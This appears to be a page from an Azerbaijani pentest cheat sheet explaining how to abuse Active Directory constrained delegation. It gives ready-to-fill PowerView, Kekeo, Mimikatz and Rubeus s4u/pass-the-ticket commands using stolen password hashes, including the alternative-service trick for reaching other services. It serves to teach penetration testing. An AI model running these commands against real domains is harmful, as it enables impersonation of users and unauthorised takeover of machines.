Pentest və SOC Cheat Sheet
  • Reconnaissance
  • Post-Explotation
    • Linux Post-Explotation
      • Linux Local Enumeration
      • Linux Privilege Escalation
      • Dumping and cracking hashes on Linux
      • Linux Persistence
    • Windows Post-Explotation
      • Windows Local Enumeration
      • Windows Privilege Escalation
      • Windows Persistence
  • Network Services Pentesting
    • 21-Pentesting FTP
    • 22-Pentesting SSH
    • 23-Pentesting Telnet
    • 53-Pentesting DNS
    • 25,465,587-Pentesting SMTP
    • 110,995-Pentesting POP
    • 139,445-Pentesting SMB
    • 3306-Pentesting MySQL
    • 3389-Pentesting RDP
    • 1433-Pentesting MSSQL-Microsoft SQL Server
    • 389,636,3268,3269-Pentesting LDAP
  • Web Pentesting
    • Broken Access Control
      • Praktiki nümunə
    • OS Command Injection
      • Praktiki nümunə
    • SQL Injection
      • Praktiki nümunə
    • Cross-Site-Scripting (XSS)
      • Praktiki nümunə
    • File Upload
      • Praktiki nümunə
    • Directory Traversal və Path Traversal
      • Praktiki nümunə
    • CSRF
    • XXE
    • Clickjacking
      • Praktiki nümunə
    • SSRF
      • Praktiki nümunə
    • JWT (Json Web Token)
      • Praktiki nümunə
    • Local&Remote File İnclusion
      • Praktiki nümunə
      • Local File inclusion ilə reverse shell almaq
    • 401&403 Bypass
    • Login Bypass
    • Open Redirect
    • Unicode Injection
    • Security Misconfiguration
    • CRLF injection
    • LDAP Injection
    • Cookies Hacking
    • Cross site WebSocket hijacking (CSWSH)
    • SSTI (Server Side Template Injection)
    • CSTI (Client Side Template Injection)
    • XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations)
    • Registration & Takeover Vulnerabilities
    • Regular expression Denial of Service - ReDoS
    • Reset/Forgotten Password Bypass
    • SAML Hücumları
    • Reverse Tab Nabbing
    • Web Tool - WFuzz
    • XPATH enjeksiyonu
    • Server-Side Includes (SSI) Injection
    • Edge Side Inclusion Injection (ESII)
    • Race Condition
    • PostMessage
    • Parameter Pollution
    • Cache Poisoning and Cache Deception
    • Captcha Bypass
  • AD Pentesting
    • Domain Enumeration
      • PowerView ilə enumeration
      • AD Module ilə enumeration
      • BloodHound ilə enumeration
        • On Site BloodHound
      • Using Adalanche
        • Remote adalanche
      • Useful Enumeration Tools
    • Local Privilege Escalation
      • Useful Local Priv Esc Tools
      • UAC Bypass
    • Lateral Movement
      • Powershell Remoting
      • Mimikatz
      • Remote Desktop Protocol
      • URL File Attacks
      • Useful Tools
    • Domain Privilege Escalation
      • Kerberoast
      • ASREPRoast
      • Password Spray Attack
      • Force Set SPN
      • Abusing Shadow Copies
      • List and Decrypt Stored Credentials using Mimikatz
      • Unconstrained Delegation
      • Constrained Delegation
      • Resource Based Constrained Delegation
      • DNSAdmins Abuse
      • Abusing Active Directory-Integraded DNS (ADIDNS) poisoning
      • Abusing Backup Operators Group
      • SID History Abuse
      • Active Directory Certificate Services
    • Domain Persistence
      • Golden Ticket Attack
      • Silver Ticket Attack
      • Skeleton Key Attack
      • DSRM Abuse
      • DCsync Attack
    • Cross Forest Attacks
      • Trust Tickets
      • Abuse MSSQL Servers
      • Breaking Forest Trusts
  • SOC - Cheat Sheet
    • SOC Nədir?
    • SOC Komponentləri Nələrdir?
    • SOC Checklist
    • SIEM
      • Splunk Qurulması və Konfiqurasiyası
    • IDS/IPS
    • Firewall
    • Firewall qurulması və konfiqurasiyası
    • EDR/XDR
    • SOAR
    • Windows Commands for SOC analysts
      • GUI Programs in Windows
      • Event Viewer
      • Task Scheduler
      • Group Policy Editor
      • Device Manager
      • Task Manager
      • Registry Manager
    • Linux Commands for SOC analysts
    • LOLBAS Apps and Commands
      • Apps and Commands
Powered by GitBook
On this page
  • PowerView
  • Kekeo
  • Mimikatz
  • Rubeus ilə hücum
  • Yalnız spesifik SPN üçün nümayəndəlik hüquqlarımız varsa nə etməliyik?

Was this helpful?

  1. AD Pentesting
  2. Domain Privilege Escalation

Constrained Delegation

PreviousUnconstrained DelegationNextResource Based Constrained Delegation

Last updated 1 year ago

Was this helpful?

Constrained Delegation (Məhdud Nümayəndəlik) Active Directory'də xidmətlər və sistemlər arasında istifadəçi etimadnamələrinin ötürülməsinə daha dəqiq nəzarət etməyə imkan verən funksiyadır. Məhdudiyyətsiz Nümayəndəlikdən (Unconstrained Delegation) fərqli olaraq, Məhdud Nümayəndəlik administratorlara müəyyən bir xidmətin etimadnamələrini hansı xidmətlərə ötürə biləcəyini müəyyən etmək imkanı verir.

Bu məqamda, Kekeo adlı alətdən istifadə edərək Kerberos Ticket Granting Ticket (TGT) manipulyasiyası həyata keçirmək mümkündür. istifadə edərək yükləyə bilərsiniz.

PowerView

Aşağıdakı PowerShell əmrlərindən istifadə edərək Constrained Delegation istifadəçiləri və kompüterləri əldə edə bilərik:

Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth

Kekeo

Məhdud nümayəndə heyəti olan istifadəçimiz varsa, kekeo istifadə edərək bu istifadəçinin etibarlı tgt-ni istəyə bilərik:

tgt::ask /user:<UserName> /domain:<Domain's FQDN> /rc4:<hashedPasswordOfTheUser>

tgt::ask: Ticket Granting Ticket (TGT) tələb etmək üçün əmr

/rc4:<hashedPasswordOfTheUser>: İstifadəçinin RC4-hashed parolunu göstərir. RC4 şifrələmə üçün istifadə olunan simmetrik açar alqoritmidir.

Sonra TGT'dən istifadə edərək Servisə TGS üçün müraciət edirik:

tgs::s4u /tgt:<PathToTGT> /user:<UserToImpersonate>@<Domain's FQDN> /service:<Service's SPN>

Mimikatz

İndi isə Pass-the-Ticket (PTT) hücumu həyata keçirmək üçün Invoke-Mimikatz PowerShell skriptindən istifadə edirik:

Invoke-Mimikatz -Command '"kerberos::ptt <PathToTGS>"'

Rubeus ilə hücum

Aşağıdakı Rubeus əmri ilə "s4u" (Service for User) hücumu həyata keçiririk, hansı ki, bu hücum həm də "constrained delegation" hücumu kimi bilinir:

Rubeus.exe s4u /user:<UserName> /rc4:<NTLMhashedPasswordOfTheUser> /impersonateuser:<UserToImpersonate> /msdsspn:"<Service's SPN>" /altservice:<Optional> /ptt
  • /rc4:<NTLMhashedPasswordOfTheUser>: İstifadəçinin NTLM hash parolunu göstərir.

  • /impersonateuser:<UserToImpersonate>: Təqlid etmək istədiyin istifadəçini göstərir.

  • /msdsspn:"<Service's SPN>": Hücum etmək istədiyin xidmətin SPN'i (Service Principal Name) təyin edir.

  • /altservice:<Optional>: Digər bir alternativ xidməti təyin edir.

  • /ptt: Əldə edilən bileti cari sessiya enjektə edərək Pass-the-Ticket hücumun həyata keçirilməsini əmr edir.

Yalnız spesifik SPN üçün nümayəndəlik hüquqlarımız varsa nə etməliyik?

Bu halda biz kerberosun "alternative service"(alternativ xidmət) adlı xüsusiyyətindən istifadə edə bilərik. Bu xüsusiyyət bizə imkan verir ki, təkcə bizim hüququmuz olan xidmət üçün yox, digər "alternativ" xidmətlər üçün də TGS bileti tələb edə bilək. Bununla biz istənilən xidmət üçün etibarlı biletlər və hədəf maşın üzərində tam giriş imkanı əldə edirik.

Bu keçiddən